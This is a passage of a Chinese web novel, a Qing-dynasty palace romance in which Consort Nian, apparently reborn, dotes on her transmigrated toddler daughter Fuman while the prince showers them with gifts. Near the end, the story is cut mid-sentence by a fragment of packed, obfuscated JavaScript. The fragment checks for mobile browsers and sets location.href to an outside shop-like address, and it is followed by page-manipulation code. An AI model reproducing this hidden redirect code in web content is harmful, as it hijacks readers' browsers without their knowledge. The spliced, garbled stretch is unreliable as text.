昨晚四爷去了年氏院里,今日初一大概会来正院,尤其昨晚他还说了一嘴。 那拉氏早早命人准备好了,四爷喜欢的茶水熏香以及换洗衣物,刚想命人去前院问问他是否一道用晚膳,就听人汇报苏培盛来了。 “奴才给福晋请安。” “起来吧。苏公公这个时辰来……是四爷有什么吩咐?” 苏培盛忙笑道:“王爷回来听说乌雅格格和张格格,被安排在了丹枫院和晚香院,觉得有些不妥,说让福晋命人将清音阁收拾出来,给两个格格住。” 那拉氏一怔,那清音阁是雍王府西北角的一处小院子,最是偏僻。 四爷一回府就将人打发去了那里,所谓何意? “好,我知道了。” 那拉氏琢磨着,给珍珠递了个眼色。珍珠连忙取了一小锭银子塞给了苏培盛。 苏培盛推辞了几下,笑着收下了,“福晋不必担忧,王爷并非是对福晋安排不满。只是王爷刚才去年侧福晋那儿……” 这没头没尾的两句话,却是将那拉氏心里的迷雾拨开了。 原来是年氏告了状。只要王爷不是对她不满就好,那拉氏点了点头,命人将苏培盛送了出去。 晚上那拉氏坐在铜镜前梳妆,翡翠捧了一件正红色缎绣牡丹纹氅衣来,“今天初一,一会王爷来,主子穿这件正红的吧。” “不换了,就穿身上这件吧。”那拉氏摇头,看着里面容颜只剩几分威严端庄的女人,只觉得悲凉讽刺。 珍珠最懂主子的心思,一边扶着她去榻上坐着,一边气不过的抱怨,“昨天是除夕,今天是初一。年侧福晋怎么连这种日子也敢抢人。从前丹枫院那位就算得宠,王爷也时常去别处,更不会在这种日子里坏了规矩。您就是太贤惠好性儿,才一直由着她霸着王爷。您就该拿出来嫡福晋的架势,好好教教她规矩。” 那拉氏苦笑,“从前我能拿捏住李氏,归根结底是四爷不想管、懒得管这些事。可年氏不同,年氏一进府,四爷就几次三番敲打过我。他铁了心想护着的人,我能上赶着去触他眉头吗?” 说起来她与他结为夫妇二十余载,在年氏进府之前,却从未发现他还有般温柔细心。 圣旨刚刚指婚之时,他就专门请人看了风水和八字,选了最适合年氏的院子。 年氏在湖广一代长大,他便命人将那院子,按照江南园林的样式休整了一番。 年氏身子弱饮食讲究,他又让人在院里建了小厨房,还亲自给院子提字‘清辉院’,命人做牌匾。 思卿如满月,夜夜减清辉。 那时前院的张起麟捡了他的废纸报信讨赏。即便是她没读过多少汉人的诗词,也懂了那‘清辉’何意。 她当时便好奇到底是什么样的女子,能让她那冷心凉薄的丈夫如此痴迷。 直到后来她看到年氏的第一眼便明白了。 即便是不看年氏那张堪称绝色的脸,单看那一份书香门第教养出来灵秀,就已经是凤毛麟角了。 偏偏年氏还生了一幅极为难得的好样貌,又兼之身子弱,平添了几分病气,眉尖轻轻一蹙,我见犹怜。 这样娇娇弱弱的汉女,完全长在了他的心坎上,也难怪能让他那般上心。 年氏进府后,她还曾安慰自己,再美的皮囊都会有看腻的一日。 毕竟有李氏的例子在前。 那李氏当年也是美人一个,后来不也成了昨日黄花了。 可是接下来的几年证明,她当时的想法有多么可笑。 自年氏进府后,他仿佛被勾了魂一般,恨不得日日长在清辉院。 即便年氏经常病恹恹的,他也丝毫不减兴致。反而因为年氏病弱,怕惹得她伤心,竟连别处都不去了。 就说除夕夜德妃赏的两个格格,样貌虽不如年氏,但到底是新鲜娇嫩。不曾想到了他连看几眼的心思都没有,竟因为年氏的几句话,就将人打发去了府里最偏僻清音阁。 年氏的吃穿用度,甚至隐隐超过了她这个福晋。可清辉院的用度是直接走的他的私产,即便她心中有怨也无可奈何。 后来年氏有孕,他欢喜的赏了整个府中下人。在年氏生产后还捐了一万两银子重修庙宇,为年氏和四格格祈福。 她的弘晖还是他的嫡长子呢,出生的时候也不见他那般重视。 她不由得想起了,传闻中顺治爷说董鄂妃所生之子乃第一子的话…… 那拉氏胡思乱想着,直到四爷进门之后,请安声响起才算发觉。 “给王爷请安。” “起来吧。福晋想什么呢,这么出神?” 瞧福晋刚才神情好像跟入定了似的。 那拉氏从翡翠手中接过茶水奉上,笑着回道:“妾身想着额娘膝盖不好,过年规矩多,跪来跪去的,怕再犯了老毛病。” 四爷接过茶水,有些自惭,“福晋对额娘实在孝顺,爷都比不过。” “爷是男人,忙着朝政大事,这些小事难免会照看不到。妾身是爷的正妻,自然该在爷不得闲的时候代爷尽孝。” 四爷心中感叹,称赞的看了她一眼。 他这个福晋虽然有时候脑子木讷些,但好在贤惠孝顺。光是这点,他也愿意给她体面。 四爷想着,瞧那拉氏似乎有话想说,便主动问道:“福晋有事要说?” 那拉氏犹豫着,还是问了出来,“妾身听苏公公说,爷打算让乌雅氏和张氏搬到清音阁去?这二位妹妹,可是有做的不妥之处?” “生的碍眼,那就少出来晃悠。” 两个鲜亮的美人怎么就生的碍眼了,不就是听了年氏挑拨嘛。四爷处置了的人,换作往日那拉氏自然不会多嘴去问。只是这乌雅氏身份特殊一些,她若是不问清楚,等话传到德妃耳中,不好交代。 “妾身就是怕额娘问起乌雅妹妹来。” 四爷不由得皱了皱眉,“不过是两个侍妾,也值当额娘操心?额娘问起,福晋就说是爷吩咐的就是了。” 有了四爷这句话,那拉氏才算放心了。 时辰还早,二人没什么话说,四爷就拿了书看。 那拉氏坐在一旁,想起了另一件事,有些紧张的攥了攥手中帕子,“今天年妹妹带了四格格来请安。四格格那么点小人儿却机灵的很。妾身瞧着都觉得喜欢,恨不得日日见一见呢。” “年氏心里最敬重福晋。只是四格格身子弱,不能经常带她来正院请安。福晋若是膝下空虚,可以从弘历、弘昼之间挑个来养。” 多年的夫妻,那拉氏自认还算了解四爷为人。 他怕自己怪年氏,所以主动为年氏解释。他以为自己对四格格动了心思,所以提出让她养弘历、弘昼。 多么体贴啊! 可是她才不会为别人做嫁衣呢。 “妾身明白,妾身只是看着四格格便想起了弘晖,若是弘晖活着如今也是弱冠之年了。” 提起弘晖,四爷心情也有些低落。 那是他的长子,生来病弱好不容易养到了八岁,还以为能留住了,不成想还是夭折了。 他不由得想起了四格格,那孩子刚生下来,甚至连呼吸都很孱弱。 月儿对这个孩子很是期待,不难想象这个孩子若是保不住,她会如何伤心。所以四格格出生后,他给定慧寺捐了银子重修庙宇,又连着抄了一个月的佛经,求佛祖保佑她们母女平安。 幸好上天顾念他与月儿,他们的四格格到底养住了。 四爷想着,出言安抚道:“福晋若是想为弘晖做场法事,去账上取银两,请人来便是。爷明日也为他抄卷佛经。” “多谢爷。”那拉氏咬了咬唇,欲言又止。 “福晋还有事一块说了吧。” 四爷想起福晋之前,托他问问兄弟五格的升迁之事。倒不是他不帮忙,实在是那五格糊涂至极,现在的职位不降都是瞧他面子了。 不过到底是多年的夫妻,乌拉那拉氏一族这几年日子不富裕,送些银子接济些也就是了。 那拉氏察觉四爷的目光落到自己脸上,又想到接下来要说的话,脸顿时红了起来。 四爷放下手中的书,有些纳闷什么事,能让福晋羞愧成这样? 那拉氏正要犹豫说不说之际,不由得想起了珍珠的话。 年氏盛宠,有子是迟早的事。 李氏甚至已经将世子之位,看做了囊中之物。 就算没有年氏、李氏的儿子,也有弘历弘昼。 凭什么这府中的一切都要归别人呢?明明她才是嫡妻,只有她生的孩子,才是四爷名正言顺的继承人。 “弘晖去了多年,妾身也知道即便是 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四爷一会看看那画中美人,一会瞧瞧自己亲笔题的诗。最终到底没舍得把那画一同丢进火盆里烧了…… * 福满可不知道四爷这一晚上波澜起伏的心情。自她那便宜爹走后,她就坐在黑陶描金缸旁边发呆。 福满在现代算是比较安静的性子了,即便不玩手机,给她一本书也能坐上一日。 但她现在穿到一个不到两岁小孩身体里,连开蒙都没开,更别说认字了。 如果捧着本书看的津津有味,大抵会被人当成妖怪吧。所以她这段时间做的最多的事情就是放空发呆。 年月明这屋里布置的无一不精。 大冬天屋内还养着一株荷花,据说这还是一株并蒂莲呢。 福满大学专业是农业相关的,对植物也有些了解。 这并蒂莲是花中极品,一茎产生两花,花各有蒂,蒂在花茎上连在一起,生成几率很低。 最重要的是不可人工培育,所以极为难得。 即便是在现代都罕见,更何况古代了。 那鱼缸里各式各样的金鱼游来游去,饶是福满见惯了现代培育的品种,仍然觉得好看。 正想着,一条全身洁白有光泽,体形宽短,头顶红色远远肉球,似仙鹤红冠的金鱼突然跳了起来,轻轻一跃又掉了进去,溅出的水花正打在抻着头往缸里看的福满脸上。 福满:“……” “奴婢听说这鹤顶红金鱼轻易不露头,一露头必然是鸿运当头!咱们四格格当真是有福气的人。”白芷一边拿着帕子给福满擦脸,一边笑盈盈的说着。 四格格脸上表情太有趣了,小小的人儿绷着个脸,被水溅到也就是皱了皱眉。 偏她生的玉雪可爱,越发想让人逗逗她。 福满看着白芷有些发痒的手,赶紧迈着小短腿,跑到里间找年月明。 年月明斜倚在金丝迎枕上打络子,见福满跑得快,忙叮嘱道,“可不能跑,当心摔了。” 这屋里都铺了柔软的地毯,即便是摔了也不疼。 不过福满仍然乖巧的点点头,小脚褪了鞋上床去,依偎在年月明身边,一双眼睛盯着她的手上动作看。 年月明怕她闷得慌,“额娘在给满满打络子,用来放你的罗汉钱,不能陪你玩。满满去和白芷姐姐出去玩好不好?” 福满摇头,这些人都想捏她的脸。 年月明也不勉强,浅笑着拍了拍她的脑袋,重新打起了络子。 只是她那双手,虽然长的纤细白净,跟水葱似的,但对女红仿佛天生缺了点天赋。 打了一晚上的络子,歪七扭八的……有点丑丑的。 福满看她打了拆,拆了又重新打,都替她累得慌。 过了会儿,福满实在看不下去了,指了指她打了大半个晚上,但仅仅只开了个头的络子,轻轻摇了摇头。 其实,她可以不要的,别这么为难了。 年月明脸上有些挂不住了,俏脸瞬间飞上一层红云,心里却是更加坚定了,“满满放心,额娘一定能打好这个络子。” 福满默默叹了口气,知道她这是反向被自己刺激到了。只能用信任的目光看着她,点了点头,然后赶紧移开了视线…… 7.福满生日 第二天年月明正在屋里练着字,只见白芷一脸兴奋的跑了进来回话,“主子,刚进府的那两位被打发去了最偏僻的清音阁了。听说还是王爷下令的,这下主子不用担心了。” 年月明听了这话,手上微微一颤,一张字算是毁了。 白术一边将纸换下,一边道:“平日里福晋安排了的事,王爷一般不怎么过问。现在忽然插手此事,定然是因为主子您。” 虽然白术不知道昨天屋里发生了什么,但凭她对这两位主子的了解,也能猜出个大概来。 年月明心里也明白,她只是没想到因为她的几句话,会牵扯出来后面这些事。 乌雅氏倒也罢了,张氏却是被无辜连累了。可四爷亲自下了令,她又和张氏非亲非故,贸然求情只怕会徒增猜疑。 只好吩咐人私下多看顾着些张氏,免得被人欺负了去,以后寻个机会再将她调出来。 转眼就到了上元节前夕。经过年月明十几天的努力,福满的那枚压岁钱终于有了容身之地。 本来年月明打算打了络子就完事了,但那日被福满刺激到了,反向激起了她的好胜心,强行上了点难度绣了个小荷包! 福满轻轻地摸着,和她手掌差不多的大的红色小荷包,有些不舍得松开。 年月明看她爱不释手的小模样,心里爱怜极了,忍不住在她小脸上亲了一口。 福满虽是心理上还不习惯被人触碰,但也许因为这副身体对生母带了先天的亲近和依赖,某种程度上也影响了她,所以她倒是不排斥和年月明亲近。 “满满这么喜欢,等你过生日的时候,额娘给你做小肚兜好不好。” 经过这些日子,福满是看出来了她这个美人娘,对女红是真没什么天赋,甚至几次还差点刺到了手。 福满不想看她受伤,刚想摇头,却见那双水盈盈的美丽眼睛中,尽是温柔疼爱,便不由自主的点了点头。 她想要。 四爷进门就听见里间温声细语,面色也不由得柔和了几分。 今日又落了一天的大雪,他从外面来身上染了寒气,先在次间莲花纹熏炉前站了会才进了里间。 不等年月明行礼就被四爷摆手止住了。他走近挨着年月明坐下,摸了摸福满的脑袋,问道:“这是说什么呢?” 大抵是小孩子都有向别人展示自己礼物的心理。虽然福满不是小孩子,但却是第一次收到这么用心的礼物,也想显摆显摆。 听他这般问,忙抓着系在腰间的小荷包给他看。 四爷捻起那小荷包一看,不用多想便知出自谁手,眼神揶揄的看了一眼年月明,点了点头,“哎呦,你额娘这针线活长进了。” 年月明嗔他一眼,“妾身自知不善女红,爷用不着挖苦。” 四爷笑她,“怎么是挖苦呢?爷这是说真的。月儿现在荷包做的这样好,改日也给爷做一个。” “那您等着吧。” 年月明很有自知之明,就她这双笨手,做完福满的小肚兜都得大半个多月,他这个荷包可能得等到猴年马月去了。 “好,爷等着。月儿好好做就是了。爷听着你方才说什么生辰的事?” “是满满生辰,爷还记得吗?” 年月明语气幽幽的问着,心中不由得跟着一痛。 前世二格格是在满满生辰那日去世的。 此后旁人记起那日,也只道是二格格的忌日,再不会有人记得那日也是满满的生辰。 甚至是眼前这个男人,大抵也忘了。 她前世无数次想问问他,到底还记不记得他们的四格格。 可是看到他登基后日渐疲倦的面容,看到他对福慧疼爱至极,到了嘴边的话最终又被她咽了回去。 直到她去世,那句话仍旧闷在心里无法问出…… 年月明沉浸在伤心事里,不觉间竟是变了脸色。 四爷皱了皱眉,“月儿,你这是怎么了?满满生辰,爷当然记得。她是康熙五十四年三月十二日申时生的。爷可有记错?” 年月明反应过来,调整了一下神色,“爷没记错,是妾身失态了。妾身只是想起了,这孩子刚生下时,瘦弱不堪的样子。一转眼竟是这么久了,妾身还以为爷不记得了呢。” 四爷这才松了口气,笑她道:“傻月儿,满满是咱们的孩子,爷怎么会忘了她的生辰呢。生辰宴你有什么想要准备的,直接与爷说便是了。” 年月明看了一眼玩着荷包的福满,轻轻摇头,“妾身不在乎生辰宴的排场。只是想无论发生什么,四爷都不要忘记那日是满满的生辰。” “你脑子里都想些什么,我怎么会忘记呢。” 他如今想起那日仍然觉得有些后怕。她生产日子提前了,那日自己并不在府中。 等回府之时,只见一盆接一盆的血水从产房里端出来。 他看着脚下都有些发软。 好在最终母女平安。 年月明笑着颔首,心中却并未完全相信他的保证。 她将福满抱进怀中,想到如果二格格能活下来,那么满满的生辰就不会被耽搁了吧。 年月明记得前世二格格是难产没的,算起来现在也得七八个月了。 只是她进府的时候二格格已经出嫁了,这些年来也并无多少交集。 她如果冷不丁的关心二格格,会很奇怪吧? “就你是慈母,爷是狠心的阿玛。不过爷可是提前让人给满满备了生辰礼,你这个慈母别比爷差就行。”四爷见她心不在焉,想了一圈也没想出到底是什么缘故。只当她是心疼四格格,关心则乱罢了。 他心中怜惜,便语气戏谑的逗她。 年月明轻哼,“礼不在重,在心意。” 她前世被这人一激,将库房里的新鲜玩意都翻了个遍,给福满添生辰礼,倒是贵重了,却不如他的用心,反倒被他揶揄了一顿。 这次她才不会上当呢! 提前知道生日礼物的福满,又摸了摸腰间小荷包。 她更想要小肚兜。 四爷端过茶水,摇头叹息道:“月儿学聪明了。” 年月明嘴角梨涡若隐若现,白了他一下,心底的一点郁气渐渐散了。 旁边喝茶那人见状更是开怀,颇有些得意。 福满一直默默在一旁听着,这对父母商议她的生辰。 过生日吗? 一个刚出生没多久,就没了父母的孩子,是没有人会记得她的生日的。 如今福满被装在这个小身体里,听着别人要给她过生日,心中仿佛有一颗小芽破土而出,一抓一抓的,抓的她有些痒。 * 外面落着雪,年月明体谅下人,没让人准备太多膳食。晚膳只简单的让小厨房做了六道菜,外加福满的一碗鸽子粥。 她和四爷都不是讲排场的人,私下用膳自然是可着心意来。六道菜虽是少,但却尽合二人胃口。 用完晚膳后,外面的雪还未停,甚至比之前下的还密了。 明天便是上元节,按例是要进宫请安的。年月明除夕夜报了病没能进宫,这次却不能再不去了。 只是福满年岁小,年月明不想她跟着遭一场罪。 她刚想和四爷说这事,就听他道:“今年比从前冷,现在还下着呢,明天雪停了,只会更冷。你和满满上元节也别跟着进宫折腾了。” 年月明已经做好了进宫的准备,未曾想这人竟是大手一挥,又给她免了。 “这……妾身一直不进宫请安,实在是有失规矩,也有违孝道。” 四爷不以为然的道:“你年前刚病了一场,身子还没完全恢复,长辈们只会体谅。至于孝道,有福晋在呢。额娘喜欢她,她就多去侍奉。” 能不进宫当然是极好的。 外面天寒地冻,折腾这一趟委实身心俱乏。 年月明便不再推辞了,“前段时间大哥命人送来一箱陈年鱼胶。妾身之前看古籍中记载,鱼胶 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上大学时她打零工挣的钱和奖学金,除了自己花费,以及定期捐出去一些,其余的尽数都被她存了起来。 倒不是福满抠门,只是看着账户余额心里能安心点。 四爷这个时辰来,就没打算走。在他下令让人抱走福满的时候,福满小眼神有些幽怨的盯着他看了好一会儿。 他不在她就能听琴声哄睡,还能和美人娘睡大床。 四爷瞧她那小模样,乐得把她一把抱进怀里,“阿玛的四格格可真机灵,瞧瞧都不高兴了。” 说着就想亲福满,还未靠近就被福满,伸着小手掌挡住了,小脑袋摇的跟拨浪鼓似的。 四爷见状更爱逗她了,那架势吓得福满,直扭头和年月明求救。 年月明也没辜负她的信任,把福满解救出来,还顺带嗔了某人一眼。 这人忒会装了,在外面一幅庄重威严、不怒自威的模样,私下忒是无赖幼稚。 经便宜爹这么一吓唬,福满也不抗拒了,蔫哒哒的趴在乳母肩上被抱走了。 年月明想着小姑娘那一双纯真无暇,委屈巴巴的眼睛就心疼,也不爱搭理罪魁祸首,扭着细腰去梳洗了。 年月明深谙保养之道。头发每日梳成髻,箍的头皮都疼。所以洗漱后,必是让人涂了上好的桂花油,按摩按摩头皮,通一遍头发,直到四爷洗漱完了,她这一套护理大法还没完事呢。 年月明阖着眼睛,由着白芷为她通发按摩。 只是今日这执梳子的手,却是生疏了许多,不如白芷轻柔仔细。 年月明睁开眼,镜子里映出了他挺拔的身影,“四爷折煞妾身了。” 小嘴里虽然说着恭顺的话,可那姿态却没半分惶恐。反而眉眼盈盈似笑非笑的望着镜中人,烛光一映更显美目柔亮。 四爷毫不客气的,低头亲了一口美人脸,收作利息。 年月明脸颊泛红,推了推他,连镜子也不看了。 “爷之前还想咱们四格格性子像谁。现在明白了,和她额娘一模一样。” 都是爱羞的。 当然后面这句四爷没说出口,不然惹恼了真不理他了。 只是男人怕是惯爱犯贱,如何忍得住。 通完发之后,伏在人家耳边调戏,“不止性子像,长得也像。以后长大了绝对和她娘一样,是个美人儿。” 气的年月明起身就走,却被早就盯着美人儿的无赖,打横抱起塞进了拔步床里。 他惯来不知羞,年月明被他一通甜言蜜语作弄的又羞又恼,到了后面甚至都哭了出来。 好在他良心未泯,连忙哄着人,“爷明日一定给月儿赔罪。” 年月明累极哪里记得他的话,沉沉的睡了过去。 不过即便是她听进去了也得啐这人一口,谁稀罕他的赔罪呢! 8.四四送礼 一夜无梦,福满第二日醒来,天才刚亮。往日里她刚睡醒没多久,年月明也会随着醒来。母女俩在床上躺一会,就起床了。 当然在她那便宜爹留宿的时候就成了例外了。 福满在床上干躺了半天,也不见美人娘来接她,只能自己起来了。 乳母要抱她,被她拒绝了。这小身子弱的不行,越是不走路,越是腿软的很。 福满踉踉跄跄的走到东次间,里间的门还关着,从两侧玻璃槛窗望去,只见拔步床外妃红缎绣莲花的幔帐还未收上去。 四爷要进宫,第二日天还没亮就走了。临走前还十分体贴的叮嘱人别扰了年月明休息,所以这时候年月明还睡着呢。 白术笑着和福满比了个噤声的手势。 福满知道美人娘还没醒,也不吵闹,径直去了窗前黑陶描金缸旁坐着。 她这段时间经常去那里坐着发呆看金鱼,年月明为了让她坐着舒坦,特意让人在旁边放了一张躺椅,又从库房取了一条厚厚的狐裘毯铺在上面。 福满刚坐过去,那条鹤顶红金鱼就游了过来,后面还跟着几条和她小手指大的鹤顶红金鱼宝宝。 最前面大的那条的肚子已经小了,看来这段时间它没出现是去产卵孵化去了。 也许是福满经常过来看它,所以连带着第一次见的小鱼仔都不怕她。 福满抓了一把鱼食撒了进去,瞬间涌上来更多金鱼,乌泱泱的一会就把鱼食抢个精光,然后又散开了。唯独生下那鹤顶红母子几个,仍仰着头好像在讨食,瞧着有些……可怜。 福满心里一软,伸手就要再摸鱼食投喂。不过还没摸到鱼食她的小手就被白芷攥住了。见她面露疑惑,白芷笑着小声和她解释,“格格,您再这么喂下去,这一盆子金鱼都得撑死了。” 哦,她忘了。 福满看着几条小鱼,围着大的那条游来游去,不由得想起了年月明。 年氏历史上多子,但也许是因为母亲身子弱,所以孩子大多夭折了。 她不知道这个时空,是不是正史记载的那个时空,但看美人娘那弱不禁风的身板,接连生子对她绝对没什么好处,更何况还要承受丧子之痛。 这能长寿才怪呢。 福满在古代待的无聊,恨不得能一睁眼就回到了现代。只是经过这段时间相处,她自然不希望美人娘步正史上年氏的后尘的。 可她能做什么呢? 她一个农学生,一不会医术,二没系统金手指,三最重要的是她是个不到三岁的小孩啊。 福满托着小脸思索了一阵,还没想出个所以然来,就见白青端了水过来正准备倒进鱼缸。 她蹭的站了起来,在白青靠近前挡住了鱼缸。 福满虽然学的不是园艺学,但都是和土打交道,多少也是懂一些的。 冬天种植荷花本来就属于反季节栽培,理论上只要保持适宜的温度、光照、湿度,满足植物对主要生态因子的要求,反季节栽培是可以实现的。 这屋里烧了地暖,还加了炭盆,温度是够了的。鱼缸的位置靠近玻璃窗子,光照也是充足的。只需要多加注意湿度便好。 只是凡事都是过犹不及。 冬季荷花的生长受到了限制,植株对水分的需求大大降低,相比于其他季节,在冬季只需要保证土壤处于湿润的状态即可。 这盆里因着养鱼水分并不缺,再每日灌溉,这花早晚被浇死。 没瞧见那荷叶耷拉着都快没精神了嘛。 白青以为自己哪里惹到四格格了,忙放下水盆小心解释,“格格,奴婢给花浇水。” 福满摇头。 任白青如何解释,福满仍是摇头。 白芷瞧着这情形,连忙让她退下了。 又见四格格绷着张小脸,围着那鱼缸转来转去的观察检查,那架势瞧着和回了老家办事的养花嬷嬷很是相似。 这是前些日子跟着嬷嬷学着观察花呢? 此念头一出,白芷自己都噗嗤笑了出来,她家四格格那小个子才和那鱼缸差不多高! 怕是为了那几条鹤顶红金鱼吧? 果然在福满打算伸手探一探荷花根茎之时,被白芷眼疾手快的抓住了。 “格格,金鱼捞出来,离了水会死的。” 福满看着白芷‘果然如此’的表情:“……” 看吧,她只是个不到三岁的小屁孩。 ……算了,之后再说吧。 又过了一会,年月明终于醒了,里间摇铃声响起,白芷交代乳母看好福满,转身出了门吩咐人端水进来给主子洗漱。 福满待着没趣,迈着小短腿进了里间。 年月明腿软腰酸,一站起来腿就打颤,幸好白术扶着,才不至于出丑。 一见福满进来,饶是她女儿年幼,但被她那双黑葡萄似的得眼睛一瞧,年月明仍是觉得有些羞耻。 偏她还舍不得让人把福满抱出去,只能在心里暗骂那人混账。 幸亏福满是嫩壳老心,瞧出来她的羞窘,立刻去了一旁乖乖坐着。白芷极有眼色,给她端了糕点和玩具转移视线。 果然瞧着福满安安静静的,吃上了糕点,年月明那点别扭才慢慢散了。 她刚梳好发髻,白青、白蔻就端着衣物的进来,说是前院的张起麟送来的。 年月明这才隐隐约约想起,那人昨晚没脸没皮的说明日给她赔罪的话。 此时看到这衣衫,连带着也恼上了,扫了一眼就移开了视线,不愿意上身,“拿下去吧。” 白术跟着她一起长大,哪里不明白她的心思,笑着劝道:“主子,您瞧一眼这衣裙,一大一小,合该是母女装。这样式和颜色多好看啊。王爷可是花了心思的,您就算不穿,也该给咱们四格格换上啊。” 听白术这般说,年月明才算起了点兴趣。 原本乖乖降低存在感的福满也来了精神,迈着小短腿走到近前端详。 现代不少人对于雍正素雅贵气的审美,还是颇为欣赏的,福满也不例外。 现在瞧着那套衣裙,外罩是蔷薇红金丝朵花纹披风,内着是玫瑰粉团纹对襟立领长衫。福满那身除了纹样更加活泼点,其余的与年月明那身没什么差别。 鲜艳但不俗气,反而透着股子雅致。 那料子福满认识是蜀锦的。 饶是福满再孤陋寡闻,也是明白这蜀锦有‘一寸一金’的美名。 况且这身衣裳抛开面料不谈,那样式和配色也是精致的很,瞧得出其中花费了许多的巧思。 从美人娘一闪而过的惊艳也能看出端倪。 年月明确实是喜欢的。那人没少让人给她做衣服,但是也不知道他哪来的那么多巧思,每一件都不一样。 这件尤甚,是前世她没见过的。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17269273|197664||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 只是她先是恼了人,不愿接受赔罪礼,又刚说了不穿。 即便是惊艳,也有些抹不开脸。 这次不等白术张嘴,福满连忙保住美人娘的胳膊摇了摇,水汪汪的眼睛尽是期盼的神色。 年月明还焉有不应之理,只能“勉为其难”的收下了。 只有那掩盖不住欣赏的眼神,能反应内心的欢喜。 福满嘴角不自觉的轻勾,果然无论哪个时代的女人,都拒绝不了漂亮衣服呐。 她也喜欢。 母女俩刚换上新衣,就听屋外隐隐约约的嘈杂声。 年月明正梳着妆,听到了打发了丫鬟去瞧瞧。福满本来落地玻璃镜前照来照去,听到动静立马爬到窗前的躺椅上往外看。 原来是屋外几个太监、丫鬟抬了梯子在游廊上挂灯。虽然年节之时院里都是有挂灯的。只是那灯都是府中统一采买,勉强凑个过节氛围,实在没多少欣赏价值。 然而现在那小太监挂的灯,却是种类繁多、样式各异。 就福满这般打眼望去就瞧见有四方、六方、八角、花篮、双鱼、葫芦等等类别。 尤其是刚刚小太监挂在门口的那盏,用细木作为骨架,笼着上好的绢纱,上面的图案也不知用什么颜料画的,竟是莹莹发光。四周垂着各样璎珞,十分高大繁复。即便是白日未点烛火,仍是光彩夺目。不难想象,等夜色朦胧之时该是何等的流光溢彩。 她正感叹着古人审美之时,在外面指挥的张起麟进了门来,手里还提着两盏宫灯。 他在外间门口打了个千儿,谄笑道:“王爷说年主子和四格格在府中难免无聊,所以早早就命人制了宫灯。特别是这走马灯,年主子瞧着上面的图案都是王爷亲自画了,又命人一点点雕出来的。等晚上点上灯,这灯一圈一圈的转,又好看又有趣儿。” 年月明转过头来一瞧那走马灯。与普通的走马灯不同的是将那灯上的剪纸,换作了镂空雕刻,通体雪白,如象牙般柔和有光泽。 仔细一看那灯面,竟是用的一块块象牙拼凑而成。 那图案也不同于常见的马,而是一个换成了各式姿态的美人儿,一个换成了抱着锦鲤的福娃娃。 饶是年月明生在富贵窝里,也不免被惊艳到了。 “哎哟,奴才愚笨,说了半天,竟是将王爷交代的东西忘了。”张起麟卖了个关子,从衣袖里取了一个檀木盒子递给了白芷。 年月明从那象牙灯上移开视线,怀着好奇打开了盒子,只见里面盛着一张花笺。 “能博美人一笑,就当给月儿赔罪了。” 年月明恨不得啐了他一口,可当着一屋子眼睛,只能自然笑的温柔端庄,摆手让白芷取银子赏人。 张起麟拿了赏银,这才留下两盏灯笑眯眯的退了下去。 福满围着那两盏灯转来转去来回打量,好好瞻仰了一番古人精妙绝伦的手艺。 不等到夜幕降临,就缠着年月明点上了灯。果然见那走马灯一圈圈的转着,光影交错,象牙的光晕更加的柔和美丽。 灯面上雕刻的美人儿和福娃交替映在墙壁上。 那雕刻手艺极为精湛,那美人儿的眉、眼,任谁都能看出画的是谁。 几个丫鬟捂嘴偷笑,惹得年月明有些脸热。 后面福满缠她去院中赏灯,索性逃离了屋内那两盏转来转去的张扬的不行的灯…… 9.年年作画 母女俩要去外面赏灯,都在外面穿了厚厚的狐裘才出了门。 夜幕降临,华灯初上,一院子各式各样的花灯争彩夺目。 福满看的眼花缭乱,每走到一个花灯下都要仔细看一会儿。 年月明见她看的入迷,在一旁挨个给她讲解那灯上的典故,又怕她听不懂,自动的换成了通俗易懂的话。 女人温柔的声音如春风一般拂过耳畔,即便那灯上的画和字福满认识,也听的非常认真,还十分给面子的连连鼓掌。 于是一晚上下来母女俩一个说的口干舌燥,一个拍的小手红彤彤的。 年月明低头一看自家闺女红彤彤的手掌,一边感叹这孩子心眼实诚,一边给她涂了一层活血化瘀的膏子揉手。 夜色渐深,天也愈发凉了。母女俩都不是硬朗的身子,在外面待了这一会儿已经感觉有些凉意,也不用白术几个叮嘱便进了屋去。 时间还早,今日又是上元节大日子。年月明兴致上来,让人取了笔墨纸砚和画架来,执笔为福满作画。 在那个拥有智能手机的时代,福满都不常自拍,更遑论画像了。 一听年月明要给她作画,就乖乖的坐好了,只有纤长的睫毛,扑扇扑扇像蝴蝶翅膀一般扇动着。 直到年月明停笔,福满就迫不及待的跑了过去。那画中正是她在院里仰头看灯的场景。 小小的一个人看着还没挂着的灯笼高,瘦巴巴的小脸上一派天真,只是眼睛里的神采,却有种不符年龄的成熟冷静。 她这是被发现了吗? 福满下意识的看向年月明。不成想那双温柔美丽的眼睛里却蒙上了一层水雾,一颗颗的泪珠夺眶而出,下一瞬就将她紧紧的抱进了怀里。 福满不明就里,被迫感受着对方身体的颤抖,和压制不住的痛苦。 其实福满和她相处的这段时日,也多少察觉出来点不对劲。 母亲和孩子是最常见的亲子关系。即便福满没有见过她的母亲,也能从别人身上观察到母爱的表达。 室友小林是独生女,大学报道的时候福满见过她的母亲。那个朴实的母亲看向小林的眼神里有慈爱、耐心、细腻、保护等等情绪。 可却没有愧疚和失而复得? 对,就是愧疚和失而复得。 有时候她二人相处,她能感知到美人娘落到她身上的眼神,有种若有若无的痛苦和愧疚。 正在福满一头雾水之时,却听耳边女音惊喜喃喃,“我的满满终于回来了……” 福满心中一震,一个荒谬又莫名合理的念头,从脑海中一闪而过。 受现代铺天盖地的重生文影响,再结合这段时日美人娘的种种表现,福满得出了一个猜想——美人娘是重生的? 历史上年氏孩子多夭折,她若真是重生的,身上萦绕不散的那股子忧伤和愁绪倒也说得通了。 年月明哪里知道,福满心中早已是翻江倒海。 她看到自己画完的那副画,那巨大的痛苦和失而复得的狂喜,已经将她湮没。 前世四格格夭折后,年月明曾画过无数张她的画像。可时间久了她只能凭借记忆去画,任凭她画技如何娴熟,那画中小人都仿佛只有一个空壳,没有神采。 直到她比着福满画了出来,再也控制不住内心的波涛汹涌。 